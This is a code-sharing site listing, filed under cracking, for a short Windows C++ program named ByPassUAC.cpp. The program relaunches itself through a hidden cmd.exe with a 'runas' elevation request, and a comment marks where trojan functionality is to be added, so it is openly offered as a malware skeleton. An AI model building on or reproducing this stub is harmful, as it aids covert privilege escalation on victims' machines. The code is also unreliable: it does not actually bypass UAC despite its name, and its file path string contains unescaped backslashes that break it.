ByPassUAC.cpp
上传用户:ddhomtel
上传日期:2022-05-28
资源大小:1439k
文件大小:1k
源码类别:

破解

开发平台:

Visual C++

  1. // ByPassUAC.cpp : Defines the entry point for the application.
  2. //
  3. #include "stdafx.h"
  4. #include "Shellapi.h"
  5. int APIENTRY WinMain(HINSTANCE hInstance,
  6.                      HINSTANCE hPrevInstance,
  7.                      LPSTR     lpCmdLine,
  8.                      int       nCmdShow)
  9. {
  10.   // TODO: Place code here.
  11. char szPath[] = "c:\windows\system32\cmd.exe"; 
  12. char szParam[MAX_PATH*2] = {0};
  13. memset(szParam,0,sizeof szParam);
  14. strcpy(szParam,"/c start ");
  15. char szCurPath[MAX_PATH]={0};  
  16. char szShortPath[MAX_PATH]={0};
  17. memset(szCurPath,0,MAX_PATH);   
  18. GetModuleFileName(NULL,szCurPath,sizeof(szCurPath)/sizeof(TCHAR));
  19. GetShortPathName(szCurPath,szShortPath,sizeof(szShortPath));
  20. strcat(szParam,szShortPath);
  21. HANDLE hMutex = CreateMutex(NULL, false, "Process");
  22. if (GetLastError() == ERROR_ALREADY_EXISTS)
  23. {
  24. CloseHandle(hMutex);
  25. return 0;
  26. }
  27. ShellExecute(NULL, "runas", szPath, szParam, NULL, SW_HIDE);
  28. MessageBox(NULL, "程序已运行!", "提示", MB_OK +MB_ICONWARNING); //表示程序已运行
  29. //在此添加木马功能...
  30. return 0;
  31. }